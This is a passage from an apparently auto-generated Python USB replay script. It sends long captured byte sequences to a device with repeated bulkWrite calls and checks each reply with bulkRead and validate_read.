b\"\\x8C\\xA6\\x42\\x42\\x9F\\xA1\\x49\\xB3\\x0D\\x28\\xA5\\xF3\\x58\\x10\\x32\\xD4\"\n b\"\\x14\\x77\\x08\\x22\\x31\\xAD\\x2C\\x2F\\x35\\xFA\\x10\\xB2\\x86\\xD9\\x20\\xCD\"\n b\"\\xDE\\x36\\x35\\xF1\\xC9\\x4D\\xC3\\xFA\\xF8\\x57\\x70\\x35\\x55\\x67\\x1E\\x9B\"\n b\"\\x7C\\x98\\xD7\\x2E\\x40\\xC4\\xDD\\xEB\\xE9\\x43\\x1E\\x87\\x23\\xFB\\x58\\xE3\"\n b\"\\x68\\xE1\\x31\\x44\\x9F\\x57\\x52\\x5D\\x0B\\x5E\\xAF\\x00\\xAD\\xC0\\x68\\xF6\"\n b\"\\x52\\x8B\\x35\\xFA\\x28\\xB6\\x12\\xF8\\x2A\\x20\\xB0\\x16\\x0A\\x66\\x71\\x6F\"\n b\"\\xEA\\x0F\\xC3\\xE1\\xE7\\x9B\\xA6\\x4E\\xBE\\xEA\\xB8\\x45\")\n # Generated from packet 2151/2152\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2151/2152\")\n # Generated from packet 2153/2154\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x26\\x8F\\xDC\\x1C\\x5E\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8F\\xAD\\x11\\xEF\\xEB\\xD5\\x07\\xDA\"\n b\"\\x9B\\xD9\\xEE\\xA8\\x91\\xA5\\xA2\\x5F\\x23\\x2D\\x65\\x09\\x7D\\xC8\\xF3\\xDC\"\n b\"\\x0D\\x2D\\x27\\x3B\\x77\\x30\\xEB\\x19\\xD0\\xB9\\xCC\\xFC\\xEB\\x1D\\x44\\x3A\"\n b\"\\x3A\\x0C\\x3A\\x84\\xC7\\x3A\\x45\\x76\\x8E\\xAB\\x71\\xE2\\xF1\\xC3\\xB3\\xCF\"\n b\"\\x21\\xEC\\x16\\x47\\xEB\\x2B\\xAE\\xC1\\x34\\x0E\\xA4\\x30\\x4A\\xDC\\x9D\\xA7\"\n b\"\\x74\\xFD\\x25\\x88\\x67\\x41\\xA6\\x72\\xCB\\x7C\\xA4\\x94\\x02\\x2D\\x96\\x78\"\n b\"\\xA5\\xAD\\xAB\\x2E\\xA5\\xAD\\x67\\x76\\xF0\\xC5\\x0E\\x96\\xF8\\x44\\x98\\xE7\"\n b\"\\x24\\x11\\x2D\\x63\\xD2\\x2B\\x8D\\xCD\\x6C\\x49\\x7F\\x74\\xDD\\x18\\x62\\x3E\"\n b\"\\x93\\xC0\\xF8\\x23\\xD8\\x40\\xCF\\x2D\\x46\\xC8\\xC5\\x3E\\xFF\\xC8\\xA3\\xFA\"\n b\"\\x7A\\x1C\\xE0\\x0D\\x18\\x7F\\x18\\x49\\x65\\x4A\\x05\\xE6\\xDB\\x6E\\x8C\\x9B\"\n b\"\\x73\\xE5\\xFD\\xF0\\x09\\x4F\\x72\\xD1\\xE8\\xAF\\x24\\x84\\x41\\xC1\\xDA\\xAB\"\n b\"\\x1F\\xEC\\xE9\\x4A\\x9B\\x20\\x80\\x18\\x93\\xBE\\x2F\\x3B\\xBC\\x3A\\xE9\\x87\"\n b\"\\xA6\\x98\\xC8\\xFA\\x0A\\x9F\\x77\\x40\\x33\\x29\\xA7\\xBC\\x6D\\x77\\xDE\\x47\"\n b\"\\x8C\\x32\\xA8\\x47\\x9E\\xB8\\xD5\\x1C\\xE8\\x93\\xF8\\xAA\\xF4\\x03\\xE7\\x2C\"\n b\"\\xAE\\xAF\\x09\\xE4\\x62\\x88\\x21\\x28\\xAB\\x8F\\xED\\x10\\x94\\xF0\\xF2\\x4D\"\n b\"\\xB8\\x43\\xEF\\xD2\\x85\\x94\\x74\\x4B\\x9A\\x5A\\x22\\x1B\\xAC\\xE1\\x4A\\xA7\"\n b\"\\xF6\\xC8\\xDD\\xF8\\xBA\\x97\\x90\\x02\\x3A\\x9D\\x74\\x8A\")\n # Generated from packet 2155/2156\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2155/2156\")\n # Generated from packet 2157/2158\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x83\\x9A\\xB0\\x17\\x4C\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7F\\xC7\\x1E\\x3A\\x92\\x22\\x46\\xD9\"\n b\"\\xA5\\xED\\xF2\\x4F\\x77\\x3F\\x64\\x38\\x32\\x68\\x6D\\x57\\xA7\\x28\\xA4\\x3E\"\n b\"\\x1A\\x47\\x85\\x8F\\x4E\\x4F\\x7D\\x69\\x8E\\x8F\\xF6\\x58\\xB2\\x1E\\xC2\\x62\"\n b\"\\x8E\\xD3\\xE2\\x2C\\x2E\\xAE\\xA7\\x5A\\x0E\\x37\\x69\\x45\\x87\\xD9\\x54\\x0B\"\n b\"\\xB9\\x48\\x66\\x8C\\x0E\\xDD\\x0D\\x5D\\x8E\\xB8\\xE4\\x25\\x64\\x3A\\x52\\xCF\"\n b\"\\xB7\\xDF\\xE6\\x72\\xD6\\xA4\\x72\\x16\\x24\\xF8\\x02\\x2D\\x9E\\x28\\xF9\\xD1\"\n b\"\\xE1\\xDC\\x39\\x86\\xCC\\xEA\\x7E\\xFC\\x1B\\xAD\\x7C\\x32\\x4E\\xF3\\x14\\x7A\"\n b\"\\xEB\\x1F\\x6E\\x17\\x9F\\x6C\\x1E\\x71\\x4A\\x55\\x36\\x31\\x87\\xBC\\xFE\\x94\"\n b\"\\xC0\\xFB\\x64\\xDA\\xD2\\xAC\\x6D\\xA0\\xCA\\x43\\x90\\x97\\xEE\\xC1\\x1F\\xF1\"\n b\"\\xAE\\x72\\xD0\\xA6\\xD7\\x63\\x0F\\xE1\\xA5\\x1B\\x8E\\xF3\\xCB\\x2E\\xB6\\x0D\"\n b\"\\xA1\\xAA\\x29\\x9A\\x58\\xE7\\x16\\x9E\\x27\\x54\\x3D\\x21\\xE7\\x64\\x08\\x75\"\n b\"\\xF3\\xEC\\xD4\\x06\\xD0\\xA8\\x76\\x23\\x9A\\x57\\x17\\x09\\x67\\xAE\\x3F\\x39\"\n b\"\\x68\\xC2\\x53\\xEB\\x5C\\xAD\\x0F\\xCC\\xE9\\xB6\\xD7\\x7A\\x92\\x99\\x95\\x3D\"\n b\"\\x03\\xD8\\x99\\x4C\\xF9\\x1B\\x5A\\xFA\\x19\\x8B\\xE6\\x1A\\x6D\\x87\\x28\\x2F\"\n b\"\\x3C\\xC1\\x4C\\x34\\xF9\\x41\\x41\\x7A\\xAE\\xC7\\x0E\\x39\\x32\\xE5\\x4D\\xD2\"\n b\"\\x5E\\x9A\\xA4\\x1A\\x09\\xB7\\x89\\x8A\\x61\\x82\\xAA\\x13\\x88\\x19\\xE2\\x59\"\n b\"\\x24\\xF3\\x8F\\x6E\\x93\\xD3\\xED\\x14\\x7A\\xEB\\x39\\x1F\")\n # Generated from packet 2159/2160\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2159/2160\")\n # Generated from packet 2161/2162\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\xB5\\xC5\\x4E\\xEC\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\xF7\\x70\\x8A\\x15\\x31\\x6D\\x7F\"\n b\"\\xA3\\xE1\\xCE\\xD3\\x57\\x68\\x49\\xFD\\xD5\\x95\\x90\\x7A\\x7C\\xD3\\xD8\\x99\"\n b\"\\x56\\x5E\\x61\\x27\\xFF\\xE0\\x8B\\xCC\\x77\\x75\\x73\\x51\\xED\\x1C\\xD7\\x5C\"\n b\"\\x40\\xAC\\x49\\x5E\\xBA\\x77\\xA3\\x92\\xD8\\x74\\x1E\\x1D\\x37\\x0B\\xAA\\x94\"\n b\"\\x23\\xB3\\xEE\\x3C\\x7B\\x01\\xA2\\x68\\xDE\\xB5\\x8B\\x49\\xC0\\x3A\\xC3\\x6F\"\n b\"\\x4D\\xF0\\x5C\\xCB\\x39\\x40\\x37\\xEF\\xD7\\x14\\xBC\\x58\\x36\\x35\\x16\\xCE\"\n b\"\\xC2\\xD4\\x1B\\x98\\x00\\x18\\x71\\xD0\\x19\\x5B\\x76\\x21\\x7E\\x47\\xA5\\xF4\"\n b\"\\x94\\x3D\\xB5\\x72\\x06\\xF2\\x40\\x24\\xA9\\x72\\x7C\\xB3\\x53\\x7B\\xA3\\x6E\"\n b\"\\xB2\\x9E\\x35\\x9A\\xB5\\x94\\x4B\\x6A\\x10\\x6B\\x5D\\x80\\x0B\\xC4\\x9C\\xCE\"\n b\"\\x5F\\x8B\\xD2\\x25\\xF4\\xED\\x9C\\xD0\\x02\\xB8\\xC9\\x25\\xB0\\x2D\\x91\\xA7\"\n b\"\\x8D\\xE7\\x01\\xD7\\x7D\\x53\\xA6\\x66\\xA5\\x73\\x1B\\x89\\x5F\\x1E\\x07\\xFA\"\n b\"\\x96\\xBD\\xE2\\xE9\\x0C\\x2A\\x8D\\x51\\xC1\\x38\\x93\\xF5\\xB5\\x1A\\xFC\\x94\"\n b\"\\xE2\\x8C\\x97\\xC4\\x52\\x8A\\x09\\x90\\xCF\\x07\\x3E\\xF0\\x9F\\x21\\x59\\x5E\"\n b\"\\x65\\x88\\xB8\\x9B\\xE3\\x64\\xBB\\x62\\x1F\\x14\\x75\\xD7\\x38\\xFD\\x12\\x67\"\n b\"\\x16\\x40\\xEB\\x4E\\x3C\\x17\\xC4\\x78\\x2A\\xBC\\x0D\\x5C\\x25\\x00\\x08\\x87\"\n b\"\\x93\\x13\\x66\\x78\\xDA\\x1A\\xE2\\x6F\\x55\\xBC\\xD8\\x2A\\xF3\\x5A\\x4E\\xF7\"\n b\"\\x92\\x3A\\xE3\\xBE\\x46\\x70\\xFF\\x0C\\xDD\\xED\\x78\\x83\")\n # Generated from packet 2163/2164\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2163/2164\")\n # Generated from packet 2165/2166\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x97\\xB4\\x1B\\xA8\\x03\\x55\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\xD7\\xAF\\x0A\\x86\\xCA\\xD4\\x66\"\n b\"\\x60\\x3D\\xE6\\x38\\xAF\\xD8\\x47\\xAD\\x47\\xE6\\xF7\\x2C\\x47\\x17\\xDF\\xC6\"\n b\"\\xC1\\x8C\\xB1\\x60\\xF0\\x66\\x78\\x9E\\xFC\\xCF\\x68\\xA9\\xA4\\x8C\\xEA\\xFD\"\n b\"\\xCC\\x26\\xD7\\x3E\\x5D\\x2D\\x2A\\x09\\x9F\\x39\\x1B\\x63\\x20\\xBD\\x97\\x0B\"\n b\"\\x1F\\x55\\x68\\x7E\\xD8\\x36\\x5A\\xC2\\x1A\\x90\\xF0\\xDC\\xB6\\xFA\\x6F\\xEA\"\n b\"\\x9A\\x29\\x63\\x07\\xDA\\x18\\xFB\\xBB\\x6B\\xFA\\x74\\x2D\\x93\\xE7\\x1B\\x4E\"\n b\"\\xEA\\x46\\xF8\\x68\\x7E\\x74\\xC9\\x5F\\x51\\x65\\xC2\\x6F\\x1F\\x01\\x89\\x8D\"\n b\"\\x5E\\x48\\xB7\\xB2\\x43\\x97\\x17\\xF9\\x8E\\x44\\x3B\\x35\\x0F\\x97\\xB1\\x76\"\n b\"\\x95\\x27\\xB9\\x94\\xC6\\xFE\\xFD\\xED\\x73\\x9B\\xD3\\x6B\\x3A\\xAA\\xC5\\x95\"\n b\"\\x39\\x09\\x35\\x15\\x15\\xA8\\x71\\x52\\x4E\\xC0\\xC1\\x36\\x67\\x3D\\x33\\x20\"\n b\"\\xFE\\x45\\x1B\\x37\\xAA\\xBF\\x20\\xDF\\x9E\\x69\\xE7\\x02\\x4E\\x2C\\x42\\x56\"\n b\"\\x04\\x18\\x49\\xAF\\x6D\\x0B\\xA5\\xE7\\xC7\\x48\\x77\\xC8\\x03\\x5A\\x3C\\x85\"\n b\"\\xCE\\x7F\\x0A\\xFA\\xC4\\xFA\\x4E\\xE4\\xFE\\x1B\\x62\\x65\\x59\\x5B\\xCA\\x85\"\n b\"\\x72\\x10\\x11\\xF2\\x74\\x94\\xAD\\x23\\x23\\xFE\\x34\\x79\\x81\\x06\\x2E\\xDB\"\n b\"\\xBF\\x42\\x4D\\x8D\\x8B\\x63\\x1C\\xCB\\xBA\\xD1\\xF3\\xE1\\x2B\\x8F\\x39\\xCC\"\n b\"\\x62\\xE7\\xC8\\x72\\xC2\\x68\\x18\\x33\\x1A\\xCA\\x30\\x20\\xA4\\x17\\xD3\\xCA\"\n b\"\\xF2\\x08\\x64\\x7E\\xF8\\x0C\\x96\\x6C\\xB5\\x50\\xE6\\x8A\")\n # Generated from packet 2167/2168\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2167/2168\")\n # Generated from packet 2169/2170\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD0\\x8C\\x28\\xC4\\x4C\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEB\\xD6\\xD4\\xB1\\x19\\xF9\\x98\\xCF\"\n b\"\\xA4\\x05\\x7C\\x17\\x7A\\xBF\\x5B\\x16\\x3B\\x2D\\x26\\x71\\x79\\xBE\\x05\\x39\"\n b\"\\x8B\\xB2\\x6B\\x10\\xBA\\xCC\\x2E\\x6A\\x71\\xA0\\x0C\\xDD\\x03\\x2D\\xE3\\x6A\"\n b\"\\x3D\\x22\\xC0\\xBF\\xC0\\x9C\\x2C\\x23\\xC1\\x3A\\xD5\\xDE\\x0E\\xE5\\xDB\\x5D\"\n b\"\\x61\\xBE\\xA3\\x13\\xB8\\xED\\xB4\\xB7\\x6D\\x9A\\x83\\xC7\\x9B\\x71\\x20\\x8C\"\n b\"\\x21\\x15\\x51\\xC4\\xBC\\x14\\x3D\\x95\\x4A\\x1E\\x22\\xA5\\x89\\x9C\\xD6\\x98\"\n b\"\\xA3\\x71\\xEF\\xDE\\x96\\x9B\\x8B\\x77\\xF3\\x58\\x90\\xB8\\xBB\\x8F\\x4F\\x42\"\n b\"\\x9C\\x3C\\x6D\\x13\\xE9\\x3C\\xD9\\x45\\xC1\\xAC\\xC0\\xEC\\xE5\\x91\\xCE\\xD5\"\n b\"\\x31\\x80\\x35\\xDC\\xBC\\xB8\\xAC\\x58\\xFF\\xDE\\xFB\\x30\\x56\\x4A\\x18\\xF2\"\n b\"\\x9A\\x62\\xD6\\x22\\x8F\\xC9\\x75\\xE3\\x09\\x74\\xCD\\x2E\\xD2\\xEF\\xE9\\x50\"\n b\"\\x80\\xA4\\x81\\x95\\xF6\\xC0\\x96\\x17\\xB5\\xA2\\x5E\\xA8\\xE2\\x45\\x3A\\xFA\"\n b\"\\x99\\xDD\\x6F\\xF6\\xB1\\x01\\xA5\\x0C\\xD6\\xB9\\xBD\\xAE\\xB5\\x26\\xB0\\x5C\"\n b\"\\x28\\x14\\x1F\\x47\\x19\\xB8\\x0E\\xB2\\x9B\\x4E\\x99\\x99\\xF3\\x38\\x61\\x93\"\n b\"\\x59\\x45\\x78\\x96\\x47\\xFF\\xF3\\x93\\x12\\xE8\\x1B\\x47\\x95\\x6E\\xF7\\x5B\"\n b\"\\x66\\x19\\x02\\xD7\\x42\\x85\\x3E\\x07\\x02\\xCA\\xF3\\xFE\\xE7\\x23\\x2B\\x13\"\n b\"\\x21\\x4D\\x8C\\xB8\\x6F\\x1E\\xDE\\x6F\\x1C\\x14\\xCE\\xF0\\x51\\x48\\x6A\\xD4\"\n b\"\\xDF\\x75\\x0F\\x9E\\xAB\\x03\\x4D\\x9A\\xF6\\x7D\\xD9\\x8C\")\n # Generated from packet 2171/2172\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2171/2172\")\n # Generated from packet 2173/2174\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBC\\x27\\x30\\xFE\\x73\\x51\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4B\\x1D\\xAA\\xF2\\x9E\\x8D\\x7B\\x39\"\n b\"\\xB4\\xE2\\xB1\\x62\\x68\\x76\\x64\\x42\\x0D\\x6C\\x3B\\xE7\\xA0\\x0D\\xC9\\x5B\"\n b\"\\x0A\\x25\\xDE\\x29\\xFC\\xDD\\x35\\x75\\x56\\x9E\\x6F\\xE2\\x66\\x4F\\x45\\x16\"\n b\"\\x61\\x79\\x7E\\x16\\x58\\xE5\\x22\\x71\\xA5\\xE3\\x40\\x6F\\x4C\\x93\\xCC\\x9A\"\n b\"\\x00\\x76\\xFA\\x6D\\x2A\\x7C\\x5B\\x8B\\x63\\x8A\\x34\\xEE\\x59\\x65\\x41\\x74\"\n b\"\\xC1\\x51\\x56\\x85\\x7D\\xDC\\x26\\x14\\xBA\\xA2\\x0C\\xF6\\x8A\\xD8\\x5B\\x65\"\n b\"\\x57\\xDB\\xD6\\xE8\\xF1\\xE6\\x01\\xF2\\x3C\\x36\\x70\\x25\\xC8\\xD1\\x5C\\xBD\"\n b\"\\x73\\xC7\\x16\\x4C\\x64\\xEE\\x1D\\x73\\xB8\\x25\\xDB\\x9A\\xF6\\xD9\\x0E\\x28\"\n b\"\\x8E\\x6B\\xE4\\x7A\\xED\\x6F\\xAB\\x99\\x3D\\x55\\xCB\\x20\\x8B\\xCE\\xA6\\x07\"\n b\"\\xEB\\x17\\x8A\\x1A\\xAD\\x18\\x34\\xD0\\x10\\x28\\x58\\xEE\\x76\\xD2\\x94\\xB9\"\n b\"\\x50\\xF3\\x3E\\xFB\\x02\\xF6\\x6C\\xAF\\x07\\x76\\x11\\xE8\\x44\\x49\\x68\\x13\"\n b\"\\x1A\\x1A\\x88\\xAE\\x49\\xE0\\x46\\x19\\x62\\x20\\x43\\x14\\xF8\\xFA\\xD5\\xFC\"\n b\"\\x87\\xAD\\x46\\xE8\\x37\\x0E\\xC7\\x82\\x1A\\x59\\xB7\\x9D\\xEE\\xB3\\xC8\\x41\"\n b\"\\x4D\\x7B\\x29\\x98\\x53\\x61\\x89\\x97\\x53\\x54\\x87\\xBD\\xE2\\x35\\x5A\\xA0\"\n b\"\\x3A\\x9D\\x05\\x64\\xA6\\x2A\\x5F\\xF3\\x3B\\x8E\\xEC\\xB0\\x89\\x16\\xD5\\xA9\"\n b\"\\x35\\x42\\x2D\\x77\\x15\\xA2\\x0D\\x1D\\x0C\\x7E\\xB9\\xD2\\x1B\\x0E\\x10\\x25\"\n b\"\\x81\\xEA\\xA1\\x85\\x08\\x65\\x4F\\x37\\xFE\\x89\\x67\\x7D\")\n # Generated from packet 2175/2176\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2175/2176\")\n # Generated from packet 2177/2178\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0B\\x6D\\x2F\\xAF\\xE6\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\xBE\\x87\\x57\\x36\\xC6\\xA2\\xBE\"\n b\"\\x8B\\xB2\\xD4\\x21\\x15\\x0E\\xB9\\x43\\x55\\xE4\\xC0\\xAB\\x94\\x8B\\x01\\x73\"\n b\"\\x78\\x43\\x4F\\x1A\\x35\\x95\\x1F\\xF2\\x9E\\xF1\\x1E\\x2D\\xFF\\xE9\\x08\\xE7\"\n b\"\\xCD\\xF2\\xFF\\x40\\x97\\x2B\\x71\\xAB\\x24\\x4A\\xFC\\xBF\\x4D\\x19\\xE7\\x19\"\n b\"\\x92\\xC4\\x57\\xF4\\xFE\\x19\\x32\\x1E\\x23\\x63\\x18\\xA0\\xFC\\x4F\\x85\\x8F\"\n b\"\\x78\\x4D\\xA5\\x23\\x37\\x9C\\xDB\\x0C\\x9A\\x1E\\xEE\\xB4\\x1E\\x60\\xB2\\xE2\"\n b\"\\xD7\\x4A\\x46\\xDA\\xC7\\x7E\\xB9\\x05\\x1C\\xA0\\x8A\\x14\\xEE\\xFB\\xCF\\x3C\"\n b\"\\x29\\x49\\x34\\x77\\xF1\\x77\\xFC\\xB4\\x2E\\x15\\x93\\x35\\x7D\\x48\\x93\\x22\"\n b\"\\xE8\\xF3\\x0A\\xCF\\xFD\\x8A\\xB0\\x1B\\x35\\xD6\\xD5\\x1E\\x8F\\x77\\xB5\\x00\"\n b\"\\xBA\\xD4\\x01\\x6E\\xB3\\x68\\xB2\\x77\\x55\\x84\\x38\\x05\\x29\\xB3\\xD8\\x63\"\n b\"\\xC9\\xAC\\x3C\\xCD\\x17\\x14\\x7A\\x3C\\xB8\\x43\\x74\\xD0\\x98\\x82\\x33\\x4E\"\n b\"\\x19\\xCC\\x2E\\xF7\\x15\\x40\\x81\\x75\\xD4\\x2A\\xD0\\x5F\\xC1\\x74\\x75\\x02\"\n b\"\\xA9\\x3A\\x3E\\x6A\\x99\\x1F\\x1F\\x53\\x60\\xB7\\xED\\x50\\x58\\x80\\x25\\xC9\"\n b\"\\xAC\\xCA\\x9B\\x3F\\xA6\\x16\\xF8\\x8C\\x01\\xF5\\x70\\x3F\\xDD\\x32\\x60\\xBC\"\n b\"\\x6B\\x58\\x93\\x4D\\x02\\xAD\\xA1\\x6B\\xAA\\x2F\\xE3\\xDF\\x34\\x68\\x84\\x9C\"\n b\"\\xE4\\xDC\\xBC\\x4A\\xD7\\x7D\\x04\\x24\\xD1\\xD7\\x67\\xE2\\x0F\\x6C\\xCD\\x7D\"\n b\"\\x71\\xAA\\xDC\\x19\\xAB\\x73\\xF3\\xE6\\xA7\\xB2\\x92\\x96\")\n # Generated from packet 2179/2180\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2179/2180\")\n # Generated from packet 2181/2182\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7E\\x50\\x85\\x2A\\x05\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\x58\\xF4\\x75\\x3F\\xB0\\xA2\\x28\"\n b\"\\x53\\x8A\\x43\\xE7\\x20\\x6A\\xEB\\xE0\\x6E\\x8C\\x8E\\x09\\x05\\xE5\\xDA\\x39\"\n b\"\\xC5\\xF3\\x2D\\x4C\\x5D\\x02\\x47\\x47\\x56\\x06\\x7B\\x4C\\x8E\\xD0\\xCA\\xB8\"\n b\"\\xCA\\xC5\\xB2\\x46\\x7B\\x98\\x18\\x96\\x8B\\xBF\\xE9\\xF3\\x8F\\x3D\\x4D\\x28\"\n b\"\\x42\\x00\\x1B\\x59\\xC0\\x36\\xC0\\x06\\x36\\x5C\\x76\\xE2\\x94\\x08\\x7E\\x9F\"\n b\"\\xCF\\xD7\\xB4\\x76\\x14\\x86\\xC0\\x7A\\xB9\\x38\\xF2\\x3D\\x61\\xE4\\xED\\x16\"\n b\"\\x92\\xDF\\xC9\\xB9\\x97\\xCE\\x6E\\xA5\\x14\\xB2\\x8E\\xFF\\x5F\\xA0\\x68\\xBF\"\n b\"\\x7F\\x63\\xA1\\x37\\x72\\xD1\\xF0\\xE7\\x08\\x0A\\x56\\x2B\\x2E\\x30\\x06\\xBE\"\n b\"\\xEB\\x6A\\x76\\xB9\\xB3\\x86\\x26\\x4A\\x95\\x03\\xD6\\xE4\\x62\\xA7\\xD1\\xE4\"\n b\"\\x8A\\x4B\\x1F\\x4A\\x4B\\xBA\\x04\\x02\\xFD\\x4D\\x8F\\xD5\\x02\\x98\\x36\\x75\"\n b\"\\xD7\\x89\\x0D\\xC1\\x13\\xDC\\x2F\\x30\\x95\\x4C\\x40\\x71\\x4B\\x9C\\x1D\\x15\"\n b\"\\x25\\x86\\x7E\\x7C\\xAE\\x29\\xAE\\x67\\xEC\\x01\\xE1\\xEB\\x51\\xD8\\x9F\\x58\"\n b\"\\x37\\x1A\\x67\\xE8\\x36\\xBE\\xDA\\x3E\\x40\\x43\\xA7\\xBF\\xDC\\x2A\\xB2\\x6A\"\n b\"\\x8A\\xCB\\xFC\\x50\\x01\\xFD\\x35\\x9F\\x94\\x04\\xA5\\x2D\\xE9\\xDC\\x8D\\x47\"\n b\"\\x34\\x6E\\xC8\\x6C\\x9A\\x0E\\x83\\x42\\x87\\xB2\\x00\\xD6\\xBC\\x09\\x02\\x5B\"\n b\"\\xAB\\x34\\x5B\\x1F\\xC3\\xF8\\xE8\\x4E\\xBB\\x55\\xCB\\x79\\x67\\x68\\x62\\xA6\"\n b\"\\x07\\x58\\x89\\xFB\\xE8\\x2B\\xB1\\x27\\x1D\\xA0\\x87\\x50\")\n # Generated from packet 2183/2184\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2183/2184\")\n # Generated from packet 2185/2186\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x59\\x5F\\xD9\\x3A\\xB4\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\x20\\x0D\\xDC\\x03\\x10\\x29\\x30\"\n b\"\\x96\\x91\\xB2\\x25\\x09\\xDC\\xF4\\x99\\x75\\xA0\\x06\\xA2\\x45\\x7A\\x48\\xA2\"\n b\"\\x54\\x95\\x3D\\xC3\\x1B\\xFE\\xDB\\x56\\x89\\xFD\\x5A\\x57\\x05\\x90\\xA7\\x82\"\n b\"\\xDC\\xE0\\xF4\\xA5\\x32\\xF8\\x12\\x15\\xBF\\x5D\\x80\\xCA\\x6A\\x3B\\xB8\\xF0\"\n b\"\\xE0\\xEB\\x8C\\x57\\xD1\\xFB\\xBD\\xAE\\x5F\\x86\\x22\\xDC\\x9C\\x0B\\xF6\\x38\"\n b\"\\x13\\x94\\x53\\x9F\\xBE\\x8A\\x9A\\x61\\xD2\\xA9\\x52\\x75\\x10\\x93\\xC2\\x69\"\n b\"\\x20\\x81\\xC6\\xE1\\xAA\\x94\\xEE\\x89\\x3D\\xC0\\xCE\\xD9\\x24\\x52\\x14\\xDA\"\n b\"\\x17\\xDB\\x5A\\xD6\\x1D\\x0B\\x28\\x7E\\xBF\\x85\\xE4\\x7B\\xDF\\x0C\\x73\\xCE\"\n b\"\\xB3\\xDC\\xA1\\x3C\\x97\\x2A\\xC6\\x51\\x34\\x5E\\x9F\\x49\\xC8\\x03\\x6A\\x38\"\n b\"\\x0C\\x81\\xDF\\x4F\\xC6\\xF8\\x64\\xEB\\xCB\\x08\\xC0\\x7B\\x50\\x7F\\xD5\\x16\"\n b\"\\xD1\\x82\\x0A\\xAB\\x0A\\xAA\\xF9\\x9D\\x03\\xF5\\x2E\\xF8\\x70\\x27\\x26\\x64\"\n b\"\\x39\\x00\\xFE\\xBC\\x08\\xD8\\xD4\\x0F\\x9E\\x59\\xC6\\x6A\\x16\\x89\\xA5\\x55\"\n b\"\\x7A\\x06\\x0C\\xB9\\xCE\\xC5\\x63\\x3E\\xC3\\x14\\x01\\x89\\xA0\\xC2\\xB6\\x39\"\n b\"\\xDB\\xAE\\xC6\\x6B\\x82\\xD0\\x7B\\x63\\x88\\xF2\\xCF\\xB4\\xD3\\x89\\x5B\\xE5\"\n b\"\\xE5\\x4C\\xE8\\x91\\x2C\\x68\\x1D\\xF4\\x8B\\x5E\\x04\\x09\\xB7\\x60\\xAE\\xA5\"\n b\"\\x5A\\x57\\x54\\x1C\\x13\\x02\\xBD\\x70\\xE2\\x1A\\xAC\\xEF\\x9B\\x25\\xD5\\x7A\"\n b\"\\xE4\\x93\\xE9\\x3E\\xA8\\x00\\x91\\xC4\\x65\\xEB\\xA8\\xBB\")\n # Generated from packet 2187/2188\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2187/2188\")\n # Generated from packet 2189/2190\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7E\\x65\\x40\\x59\\x31\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x24\\x18\\x3C\\x4C\\x37\\xD8\\xE7\"\n b\"\\xD1\\xC2\\xCF\\x94\\x1B\\xD6\\xA7\\xBE\\xD0\\xE5\\x2C\\x8B\\x60\\x40\\x1E\\x11\"\n b\"\\x33\\x5B\\x7F\\xEB\\xB3\\x0E\\x29\\xDC\\xF5\\x60\\xEA\\x5E\\x5F\\x5E\\x4A\\x94\"\n b\"\\x00\\x5D\\x50\\xA1\\xD4\\xEF\\x6F\\x63\\xA9\\xE2\\x37\\x09\\x1D\\xE3\\x39\\x7D\"\n 